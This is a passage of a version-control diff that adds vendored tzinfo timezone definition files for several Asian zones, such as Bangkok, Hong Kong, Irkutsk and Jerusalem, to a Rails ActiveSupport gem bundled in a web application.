+          tz.transition 2008, 3, :o8, 1206835200
+          tz.transition 2008, 10, :o7, 1224979200
+          tz.transition 2009, 3, :o8, 1238284800
+          tz.transition 2009, 10, :o7, 1256428800
+          tz.transition 2010, 3, :o8, 1269734400
+          tz.transition 2010, 10, :o7, 1288483200
+          tz.transition 2011, 3, :o8, 1301184000
+          tz.transition 2011, 10, :o7, 1319932800
+          tz.transition 2012, 3, :o8, 1332633600
+          tz.transition 2012, 10, :o7, 1351382400
+          tz.transition 2013, 3, :o8, 1364688000
+          tz.transition 2013, 10, :o7, 1382832000
+          tz.transition 2014, 3, :o8, 1396137600
+          tz.transition 2014, 10, :o7, 1414281600
+          tz.transition 2015, 3, :o8, 1427587200
+          tz.transition 2015, 10, :o7, 1445731200
+          tz.transition 2016, 3, :o8, 1459036800
+          tz.transition 2016, 10, :o7, 1477785600
+          tz.transition 2017, 3, :o8, 1490486400
+          tz.transition 2017, 10, :o7, 1509235200
+          tz.transition 2018, 3, :o8, 1521936000
+          tz.transition 2018, 10, :o7, 1540684800
+          tz.transition 2019, 3, :o8, 1553990400
+          tz.transition 2019, 10, :o7, 1572134400
+          tz.transition 2020, 3, :o8, 1585440000
+          tz.transition 2020, 10, :o7, 1603584000
+          tz.transition 2021, 3, :o8, 1616889600
+          tz.transition 2021, 10, :o7, 1635638400
+          tz.transition 2022, 3, :o8, 1648339200
+          tz.transition 2022, 10, :o7, 1667088000
+          tz.transition 2023, 3, :o8, 1679788800
+          tz.transition 2023, 10, :o7, 1698537600
+          tz.transition 2024, 3, :o8, 1711843200
+          tz.transition 2024, 10, :o7, 1729987200
+          tz.transition 2025, 3, :o8, 1743292800
+          tz.transition 2025, 10, :o7, 1761436800
+          tz.transition 2026, 3, :o8, 1774742400
+          tz.transition 2026, 10, :o7, 1792886400
+          tz.transition 2027, 3, :o8, 1806192000
+          tz.transition 2027, 10, :o7, 1824940800
+          tz.transition 2028, 3, :o8, 1837641600
+          tz.transition 2028, 10, :o7, 1856390400
+          tz.transition 2029, 3, :o8, 1869091200
+          tz.transition 2029, 10, :o7, 1887840000
+          tz.transition 2030, 3, :o8, 1901145600
+          tz.transition 2030, 10, :o7, 1919289600
+          tz.transition 2031, 3, :o8, 1932595200
+          tz.transition 2031, 10, :o7, 1950739200
+          tz.transition 2032, 3, :o8, 1964044800
+          tz.transition 2032, 10, :o7, 1982793600
+          tz.transition 2033, 3, :o8, 1995494400
+          tz.transition 2033, 10, :o7, 2014243200
+          tz.transition 2034, 3, :o8, 2026944000
+          tz.transition 2034, 10, :o7, 2045692800
+          tz.transition 2035, 3, :o8, 2058393600
+          tz.transition 2035, 10, :o7, 2077142400
+          tz.transition 2036, 3, :o8, 2090448000
+          tz.transition 2036, 10, :o7, 2108592000
+          tz.transition 2037, 3, :o8, 2121897600
+          tz.transition 2037, 10, :o7, 2140041600
+          tz.transition 2038, 3, :o8, 4931021, 2
+          tz.transition 2038, 10, :o7, 4931455, 2
+          tz.transition 2039, 3, :o8, 4931749, 2
+          tz.transition 2039, 10, :o7, 4932183, 2
+          tz.transition 2040, 3, :o8, 4932477, 2
+          tz.transition 2040, 10, :o7, 4932911, 2
+          tz.transition 2041, 3, :o8, 4933219, 2
+          tz.transition 2041, 10, :o7, 4933639, 2
+          tz.transition 2042, 3, :o8, 4933947, 2
+          tz.transition 2042, 10, :o7, 4934367, 2
+          tz.transition 2043, 3, :o8, 4934675, 2
+          tz.transition 2043, 10, :o7, 4935095, 2
+          tz.transition 2044, 3, :o8, 4935403, 2
+          tz.transition 2044, 10, :o7, 4935837, 2
+          tz.transition 2045, 3, :o8, 4936131, 2
+          tz.transition 2045, 10, :o7, 4936565, 2
+          tz.transition 2046, 3, :o8, 4936859, 2
+          tz.transition 2046, 10, :o7, 4937293, 2
+          tz.transition 2047, 3, :o8, 4937601, 2
+          tz.transition 2047, 10, :o7, 4938021, 2
+          tz.transition 2048, 3, :o8, 4938329, 2
+          tz.transition 2048, 10, :o7, 4938749, 2
+          tz.transition 2049, 3, :o8, 4939057, 2
+          tz.transition 2049, 10, :o7, 4939491, 2
+          tz.transition 2050, 3, :o8, 4939785, 2
+          tz.transition 2050, 10, :o7, 4940219, 2
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Bangkok.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Bangkok
+        include TimezoneDefinition
+        
+        timezone 'Asia/Bangkok' do |tz|
+          tz.offset :o0, 24124, 0, :LMT
+          tz.offset :o1, 24124, 0, :BMT
+          tz.offset :o2, 25200, 0, :ICT
+          
+          tz.transition 1879, 12, :o1, 52006648769, 21600
+          tz.transition 1920, 3, :o2, 52324168769, 21600
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Chongqing.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Chongqing
+        include TimezoneDefinition
+        
+        timezone 'Asia/Chongqing' do |tz|
+          tz.offset :o0, 25580, 0, :LMT
+          tz.offset :o1, 25200, 0, :LONT
+          tz.offset :o2, 28800, 0, :CST
+          tz.offset :o3, 28800, 3600, :CDT
+          
+          tz.transition 1927, 12, :o1, 10477063601, 4320
+          tz.transition 1980, 4, :o2, 325962000
+          tz.transition 1986, 5, :o3, 515520000
+          tz.transition 1986, 9, :o2, 527007600
+          tz.transition 1987, 4, :o3, 545155200
+          tz.transition 1987, 9, :o2, 558457200
+          tz.transition 1988, 4, :o3, 576604800
+          tz.transition 1988, 9, :o2, 589906800
+          tz.transition 1989, 4, :o3, 608659200
+          tz.transition 1989, 9, :o2, 621961200
+          tz.transition 1990, 4, :o3, 640108800
+          tz.transition 1990, 9, :o2, 653410800
+          tz.transition 1991, 4, :o3, 671558400
+          tz.transition 1991, 9, :o2, 684860400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Colombo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Colombo
+        include TimezoneDefinition
+        
+        timezone 'Asia/Colombo' do |tz|
+          tz.offset :o0, 19164, 0, :LMT
+          tz.offset :o1, 19172, 0, :MMT
+          tz.offset :o2, 19800, 0, :IST
+          tz.offset :o3, 19800, 1800, :IHST
+          tz.offset :o4, 19800, 3600, :IST
+          tz.offset :o5, 23400, 0, :LKT
+          tz.offset :o6, 21600, 0, :LKT
+          
+          tz.transition 1879, 12, :o1, 17335550003, 7200
+          tz.transition 1905, 12, :o2, 52211763607, 21600
+          tz.transition 1942, 1, :o3, 116657485, 48
+          tz.transition 1942, 8, :o4, 9722413, 4
+          tz.transition 1945, 10, :o2, 38907909, 16
+          tz.transition 1996, 5, :o5, 832962600
+          tz.transition 1996, 10, :o6, 846266400
+          tz.transition 2006, 4, :o2, 1145039400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Dhaka.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Dhaka
+        include TimezoneDefinition
+        
+        timezone 'Asia/Dhaka' do |tz|
+          tz.offset :o0, 21700, 0, :LMT
+          tz.offset :o1, 21200, 0, :HMT
+          tz.offset :o2, 23400, 0, :BURT
+          tz.offset :o3, 19800, 0, :IST
+          tz.offset :o4, 21600, 0, :DACT
+          tz.offset :o5, 21600, 0, :BDT
+          
+          tz.transition 1889, 12, :o1, 2083422167, 864
+          tz.transition 1941, 9, :o2, 524937943, 216
+          tz.transition 1942, 5, :o3, 116663723, 48
+          tz.transition 1942, 8, :o2, 116668957, 48
+          tz.transition 1951, 9, :o4, 116828123, 48
+          tz.transition 1971, 3, :o5, 38772000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Hong_Kong.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,87 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Hong_Kong
+        include TimezoneDefinition
+        
+        timezone 'Asia/Hong_Kong' do |tz|
+          tz.offset :o0, 27396, 0, :LMT
+          tz.offset :o1, 28800, 0, :HKT
+          tz.offset :o2, 28800, 3600, :HKST
+          
+          tz.transition 1904, 10, :o1, 5800279639, 2400
+          tz.transition 1946, 4, :o2, 38910885, 16
+          tz.transition 1946, 11, :o1, 116743453, 48
+          tz.transition 1947, 4, :o2, 38916613, 16
+          tz.transition 1947, 12, :o1, 116762365, 48
+          tz.transition 1948, 5, :o2, 38922773, 16
+          tz.transition 1948, 10, :o1, 116777053, 48
+          tz.transition 1949, 4, :o2, 38928149, 16
+          tz.transition 1949, 10, :o1, 116794525, 48
+          tz.transition 1950, 4, :o2, 38933973, 16
+          tz.transition 1950, 10, :o1, 116811997, 48
+          tz.transition 1951, 3, :o2, 38939797, 16
+          tz.transition 1951, 10, :o1, 116829469, 48
+          tz.transition 1952, 4, :o2, 38945733, 16
+          tz.transition 1952, 10, :o1, 116846941, 48
+          tz.transition 1953, 4, :o2, 38951557, 16
+          tz.transition 1953, 10, :o1, 116864749, 48
+          tz.transition 1954, 3, :o2, 38957157, 16
+          tz.transition 1954, 10, :o1, 116882221, 48
+          tz.transition 1955, 3, :o2, 38962981, 16
+          tz.transition 1955, 11, :o1, 116900029, 48
+          tz.transition 1956, 3, :o2, 38968805, 16
+          tz.transition 1956, 11, :o1, 116917501, 48
+          tz.transition 1957, 3, :o2, 38974741, 16
+          tz.transition 1957, 11, :o1, 116934973, 48
+          tz.transition 1958, 3, :o2, 38980565, 16
+          tz.transition 1958, 11, :o1, 116952445, 48
+          tz.transition 1959, 3, :o2, 38986389, 16
+          tz.transition 1959, 10, :o1, 116969917, 48
+          tz.transition 1960, 3, :o2, 38992213, 16
+          tz.transition 1960, 11, :o1, 116987725, 48
+          tz.transition 1961, 3, :o2, 38998037, 16
+          tz.transition 1961, 11, :o1, 117005197, 48
+          tz.transition 1962, 3, :o2, 39003861, 16
+          tz.transition 1962, 11, :o1, 117022669, 48
+          tz.transition 1963, 3, :o2, 39009797, 16
+          tz.transition 1963, 11, :o1, 117040141, 48
+          tz.transition 1964, 3, :o2, 39015621, 16
+          tz.transition 1964, 10, :o1, 117057613, 48
+          tz.transition 1965, 4, :o2, 39021893, 16
+          tz.transition 1965, 10, :o1, 117074413, 48
+          tz.transition 1966, 4, :o2, 39027717, 16
+          tz.transition 1966, 10, :o1, 117091885, 48
+          tz.transition 1967, 4, :o2, 39033541, 16
+          tz.transition 1967, 10, :o1, 117109693, 48
+          tz.transition 1968, 4, :o2, 39039477, 16
+          tz.transition 1968, 10, :o1, 117127165, 48
+          tz.transition 1969, 4, :o2, 39045301, 16
+          tz.transition 1969, 10, :o1, 117144637, 48
+          tz.transition 1970, 4, :o2, 9315000
+          tz.transition 1970, 10, :o1, 25036200
+          tz.transition 1971, 4, :o2, 40764600
+          tz.transition 1971, 10, :o1, 56485800
+          tz.transition 1972, 4, :o2, 72214200
+          tz.transition 1972, 10, :o1, 88540200
+          tz.transition 1973, 4, :o2, 104268600
+          tz.transition 1973, 10, :o1, 119989800
+          tz.transition 1974, 4, :o2, 135718200
+          tz.transition 1974, 10, :o1, 151439400
+          tz.transition 1975, 4, :o2, 167167800
+          tz.transition 1975, 10, :o1, 182889000
+          tz.transition 1976, 4, :o2, 198617400
+          tz.transition 1976, 10, :o1, 214338600
+          tz.transition 1977, 4, :o2, 230067000
+          tz.transition 1977, 10, :o1, 245788200
+          tz.transition 1979, 5, :o2, 295385400
+          tz.transition 1979, 10, :o1, 309292200
+          tz.transition 1980, 5, :o2, 326835000
+          tz.transition 1980, 10, :o1, 340741800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Irkutsk.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Irkutsk
+        include TimezoneDefinition
+        
+        timezone 'Asia/Irkutsk' do |tz|
+          tz.offset :o0, 25040, 0, :LMT
+          tz.offset :o1, 25040, 0, :IMT
+          tz.offset :o2, 25200, 0, :IRKT
+          tz.offset :o3, 28800, 0, :IRKT
+          tz.offset :o4, 28800, 3600, :IRKST
+          tz.offset :o5, 25200, 3600, :IRKST
+          
+          tz.transition 1879, 12, :o1, 2600332427, 1080
+          tz.transition 1920, 1, :o2, 2616136067, 1080
+          tz.transition 1930, 6, :o3, 58227557, 24
+          tz.transition 1981, 3, :o4, 354902400
+          tz.transition 1981, 9, :o3, 370710000
+          tz.transition 1982, 3, :o4, 386438400
+          tz.transition 1982, 9, :o3, 402246000
+          tz.transition 1983, 3, :o4, 417974400
+          tz.transition 1983, 9, :o3, 433782000
+          tz.transition 1984, 3, :o4, 449596800
+          tz.transition 1984, 9, :o3, 465328800
+          tz.transition 1985, 3, :o4, 481053600
+          tz.transition 1985, 9, :o3, 496778400
+          tz.transition 1986, 3, :o4, 512503200
+          tz.transition 1986, 9, :o3, 528228000
+          tz.transition 1987, 3, :o4, 543952800
+          tz.transition 1987, 9, :o3, 559677600
+          tz.transition 1988, 3, :o4, 575402400
+          tz.transition 1988, 9, :o3, 591127200
+          tz.transition 1989, 3, :o4, 606852000
+          tz.transition 1989, 9, :o3, 622576800
+          tz.transition 1990, 3, :o4, 638301600
+          tz.transition 1990, 9, :o3, 654631200
+          tz.transition 1991, 3, :o5, 670356000
+          tz.transition 1991, 9, :o2, 686084400
+          tz.transition 1992, 1, :o3, 695761200
+          tz.transition 1992, 3, :o4, 701794800
+          tz.transition 1992, 9, :o3, 717516000
+          tz.transition 1993, 3, :o4, 733255200
+          tz.transition 1993, 9, :o3, 748980000
+          tz.transition 1994, 3, :o4, 764704800
+          tz.transition 1994, 9, :o3, 780429600
+          tz.transition 1995, 3, :o4, 796154400
+          tz.transition 1995, 9, :o3, 811879200
+          tz.transition 1996, 3, :o4, 828208800
+          tz.transition 1996, 10, :o3, 846352800
+          tz.transition 1997, 3, :o4, 859658400
+          tz.transition 1997, 10, :o3, 877802400
+          tz.transition 1998, 3, :o4, 891108000
+          tz.transition 1998, 10, :o3, 909252000
+          tz.transition 1999, 3, :o4, 922557600
+          tz.transition 1999, 10, :o3, 941306400
+          tz.transition 2000, 3, :o4, 954007200
+          tz.transition 2000, 10, :o3, 972756000
+          tz.transition 2001, 3, :o4, 985456800
+          tz.transition 2001, 10, :o3, 1004205600
+          tz.transition 2002, 3, :o4, 1017511200
+          tz.transition 2002, 10, :o3, 1035655200
+          tz.transition 2003, 3, :o4, 1048960800
+          tz.transition 2003, 10, :o3, 1067104800
+          tz.transition 2004, 3, :o4, 1080410400
+          tz.transition 2004, 10, :o3, 1099159200
+          tz.transition 2005, 3, :o4, 1111860000
+          tz.transition 2005, 10, :o3, 1130608800
+          tz.transition 2006, 3, :o4, 1143309600
+          tz.transition 2006, 10, :o3, 1162058400
+          tz.transition 2007, 3, :o4, 1174759200
+          tz.transition 2007, 10, :o3, 1193508000
+          tz.transition 2008, 3, :o4, 1206813600
+          tz.transition 2008, 10, :o3, 1224957600
+          tz.transition 2009, 3, :o4, 1238263200
+          tz.transition 2009, 10, :o3, 1256407200
+          tz.transition 2010, 3, :o4, 1269712800
+          tz.transition 2010, 10, :o3, 1288461600
+          tz.transition 2011, 3, :o4, 1301162400
+          tz.transition 2011, 10, :o3, 1319911200
+          tz.transition 2012, 3, :o4, 1332612000
+          tz.transition 2012, 10, :o3, 1351360800
+          tz.transition 2013, 3, :o4, 1364666400
+          tz.transition 2013, 10, :o3, 1382810400
+          tz.transition 2014, 3, :o4, 1396116000
+          tz.transition 2014, 10, :o3, 1414260000
+          tz.transition 2015, 3, :o4, 1427565600
+          tz.transition 2015, 10, :o3, 1445709600
+          tz.transition 2016, 3, :o4, 1459015200
+          tz.transition 2016, 10, :o3, 1477764000
+          tz.transition 2017, 3, :o4, 1490464800
+          tz.transition 2017, 10, :o3, 1509213600
+          tz.transition 2018, 3, :o4, 1521914400
+          tz.transition 2018, 10, :o3, 1540663200
+          tz.transition 2019, 3, :o4, 1553968800
+          tz.transition 2019, 10, :o3, 1572112800
+          tz.transition 2020, 3, :o4, 1585418400
+          tz.transition 2020, 10, :o3, 1603562400
+          tz.transition 2021, 3, :o4, 1616868000
+          tz.transition 2021, 10, :o3, 1635616800
+          tz.transition 2022, 3, :o4, 1648317600
+          tz.transition 2022, 10, :o3, 1667066400
+          tz.transition 2023, 3, :o4, 1679767200
+          tz.transition 2023, 10, :o3, 1698516000
+          tz.transition 2024, 3, :o4, 1711821600
+          tz.transition 2024, 10, :o3, 1729965600
+          tz.transition 2025, 3, :o4, 1743271200
+          tz.transition 2025, 10, :o3, 1761415200
+          tz.transition 2026, 3, :o4, 1774720800
+          tz.transition 2026, 10, :o3, 1792864800
+          tz.transition 2027, 3, :o4, 1806170400
+          tz.transition 2027, 10, :o3, 1824919200
+          tz.transition 2028, 3, :o4, 1837620000
+          tz.transition 2028, 10, :o3, 1856368800
+          tz.transition 2029, 3, :o4, 1869069600
+          tz.transition 2029, 10, :o3, 1887818400
+          tz.transition 2030, 3, :o4, 1901124000
+          tz.transition 2030, 10, :o3, 1919268000
+          tz.transition 2031, 3, :o4, 1932573600
+          tz.transition 2031, 10, :o3, 1950717600
+          tz.transition 2032, 3, :o4, 1964023200
+          tz.transition 2032, 10, :o3, 1982772000
+          tz.transition 2033, 3, :o4, 1995472800
+          tz.transition 2033, 10, :o3, 2014221600
+          tz.transition 2034, 3, :o4, 2026922400
+          tz.transition 2034, 10, :o3, 2045671200
+          tz.transition 2035, 3, :o4, 2058372000
+          tz.transition 2035, 10, :o3, 2077120800
+          tz.transition 2036, 3, :o4, 2090426400
+          tz.transition 2036, 10, :o3, 2108570400
+          tz.transition 2037, 3, :o4, 2121876000
+          tz.transition 2037, 10, :o3, 2140020000
+          tz.transition 2038, 3, :o4, 9862041, 4
+          tz.transition 2038, 10, :o3, 9862909, 4
+          tz.transition 2039, 3, :o4, 9863497, 4
+          tz.transition 2039, 10, :o3, 9864365, 4
+          tz.transition 2040, 3, :o4, 9864953, 4
+          tz.transition 2040, 10, :o3, 9865821, 4
+          tz.transition 2041, 3, :o4, 9866437, 4
+          tz.transition 2041, 10, :o3, 9867277, 4
+          tz.transition 2042, 3, :o4, 9867893, 4
+          tz.transition 2042, 10, :o3, 9868733, 4
+          tz.transition 2043, 3, :o4, 9869349, 4
+          tz.transition 2043, 10, :o3, 9870189, 4
+          tz.transition 2044, 3, :o4, 9870805, 4
+          tz.transition 2044, 10, :o3, 9871673, 4
+          tz.transition 2045, 3, :o4, 9872261, 4
+          tz.transition 2045, 10, :o3, 9873129, 4
+          tz.transition 2046, 3, :o4, 9873717, 4
+          tz.transition 2046, 10, :o3, 9874585, 4
+          tz.transition 2047, 3, :o4, 9875201, 4
+          tz.transition 2047, 10, :o3, 9876041, 4
+          tz.transition 2048, 3, :o4, 9876657, 4
+          tz.transition 2048, 10, :o3, 9877497, 4
+          tz.transition 2049, 3, :o4, 9878113, 4
+          tz.transition 2049, 10, :o3, 9878981, 4
+          tz.transition 2050, 3, :o4, 9879569, 4
+          tz.transition 2050, 10, :o3, 9880437, 4
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jakarta.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Jakarta
+        include TimezoneDefinition
+        
+        timezone 'Asia/Jakarta' do |tz|
+          tz.offset :o0, 25632, 0, :LMT
+          tz.offset :o1, 25632, 0, :JMT
+          tz.offset :o2, 26400, 0, :JAVT
+          tz.offset :o3, 27000, 0, :WIT
+          tz.offset :o4, 32400, 0, :JST
+          tz.offset :o5, 28800, 0, :WIT
+          tz.offset :o6, 25200, 0, :WIT
+          
+          tz.transition 1867, 8, :o1, 720956461, 300
+          tz.transition 1923, 12, :o2, 87256267, 36
+          tz.transition 1932, 10, :o3, 87372439, 36
+          tz.transition 1942, 3, :o4, 38887059, 16
+          tz.transition 1945, 9, :o3, 19453769, 8
+          tz.transition 1948, 4, :o5, 38922755, 16
+          tz.transition 1950, 4, :o3, 14600413, 6
+          tz.transition 1963, 12, :o6, 39014323, 16
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Jerusalem.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Jerusalem
+        include TimezoneDefinition
+        
+        timezone 'Asia/Jerusalem' do |tz|
+          tz.offset :o0, 8456, 0, :LMT
+          tz.offset :o1, 8440, 0, :JMT
+          tz.offset :o2, 7200, 0, :IST
+          tz.offset :o3, 7200, 3600, :IDT
+          tz.offset :o4, 7200, 7200, :IDDT
+          
+          tz.transition 1879, 12, :o1, 26003326343, 10800
+          tz.transition 1917, 12, :o2, 5230643909, 2160
+          tz.transition 1940, 5, :o3, 29157377, 12
+          tz.transition 1942, 10, :o2, 19445315, 8
+          tz.transition 1943, 4, :o3, 4861631, 2
+          tz.transition 1943, 10, :o2, 19448235, 8
+          tz.transition 1944, 3, :o3, 29174177, 12
+          tz.transition 1944, 10, :o2, 19451163, 8
+          tz.transition 1945, 4, :o3, 29178737, 12
+          tz.transition 1945, 10, :o2, 58362251, 24
+          tz.transition 1946, 4, :o3, 4863853, 2
+          tz.transition 1946, 10, :o2, 19457003, 8
+          tz.transition 1948, 5, :o4, 29192333, 12
+          tz.transition 1948, 8, :o3, 7298386, 3
+          tz.transition 1948, 10, :o2, 58388555, 24
+          tz.transition 1949, 4, :o3, 29196449, 12
+          tz.transition 1949, 10, :o2, 58397315, 24
+          tz.transition 1950, 4, :o3, 29200649, 12
+          tz.transition 1950, 9, :o2, 4867079, 2
+          tz.transition 1951, 3, :o3, 29204849, 12
+          tz.transition 1951, 11, :o2, 4867923, 2
+          tz.transition 1952, 4, :o3, 4868245, 2
+          tz.transition 1952, 10, :o2, 4868609, 2
+          tz.transition 1953, 4, :o3, 4868959, 2
+          tz.transition 1953, 9, :o2, 4869267, 2
+          tz.transition 1954, 6, :o3, 29218877, 12
+          tz.transition 1954, 9, :o2, 19479979, 8
+          tz.transition 1955, 6, :o3, 4870539, 2
+          tz.transition 1955, 9, :o2, 19482891, 8
+          tz.transition 1956, 6, :o3, 29227529, 12
+          tz.transition 1956, 9, :o2, 4871493, 2
+          tz.transition 1957, 4, :o3, 4871915, 2
+          tz.transition 1957, 9, :o2, 19488827, 8
+          tz.transition 1974, 7, :o3, 142380000
+          tz.transition 1974, 10, :o2, 150843600
+          tz.transition 1975, 4, :o3, 167176800
+          tz.transition 1975, 8, :o2, 178664400
+          tz.transition 1985, 4, :o3, 482277600
+          tz.transition 1985, 9, :o2, 495579600
+          tz.transition 1986, 5, :o3, 516751200
+          tz.transition 1986, 9, :o2, 526424400
+          tz.transition 1987, 4, :o3, 545436000
+          tz.transition 1987, 9, :o2, 558478800
+          tz.transition 1988, 4, :o3, 576540000
+          tz.transition 1988, 9, :o2, 589237200
+          tz.transition 1989, 4, :o3, 609890400
+          tz.transition 1989, 9, :o2, 620773200
+          tz.transition 1990, 3, :o3, 638316000
+          tz.transition 1990, 8, :o2, 651618000
+          tz.transition 1991, 3, :o3, 669765600
+          tz.transition 1991, 8, :o2, 683672400
+          tz.transition 1992, 3, :o3, 701820000
+          tz.transition 1992, 9, :o2, 715726800
+          tz.transition 1993, 4, :o3, 733701600
+          tz.transition 1993, 9, :o2, 747176400
+          tz.transition 1994, 3, :o3, 765151200
+          tz.transition 1994, 8, :o2, 778021200
+          tz.transition 1995, 3, :o3, 796600800
+          tz.transition 1995, 9, :o2, 810075600
+          tz.transition 1996, 3, :o3, 826840800
+          tz.transition 1996, 9, :o2, 842821200
+          tz.transition 1997, 3, :o3, 858895200
+          tz.transition 1997, 9, :o2, 874184400
+          tz.transition 1998, 3, :o3, 890344800
+          tz.transition 1998, 9, :o2, 905029200
+          tz.transition 1999, 4, :o3, 923011200
+          tz.transition 1999, 9, :o2, 936313200
+          tz.transition 2000, 4, :o3, 955670400
+          tz.transition 2000, 10, :o2, 970783200
+          tz.transition 2001, 4, :o3, 986770800
+          tz.transition 2001, 9, :o2, 1001282400
+          tz.transition 2002, 3, :o3, 1017356400
+          tz.transition 2002, 10, :o2, 1033941600
+          tz.transition 2003, 3, :o3, 1048806000
+          tz.transition 2003, 10, :o2, 1065132000
+          tz.transition 2004, 4, :o3, 1081292400
+          tz.transition 2004, 9, :o2, 1095804000
+          tz.transition 2005, 4, :o3, 1112313600
+          tz.transition 2005, 10, :o2, 1128812400
+          tz.transition 2006, 3, :o3, 1143763200
+          tz.transition 2006, 9, :o2, 1159657200
+          tz.transition 2007, 3, :o3, 1175212800
+          tz.transition 2007, 9, :o2, 1189897200
+          tz.transition 2008, 3, :o3, 1206662400
+          tz.transition 2008, 10, :o2, 1223161200
+          tz.transition 2009, 3, :o3, 1238112000
+          tz.transition 2009, 9, :o2, 1254006000
+          tz.transition 2010, 3, :o3, 1269561600
+          tz.transition 2010, 9, :o2, 1284246000
+          tz.transition 2011, 4, :o3, 1301616000
+          tz.transition 2011, 10, :o2, 1317510000
+          tz.transition 2012, 3, :o3, 1333065600
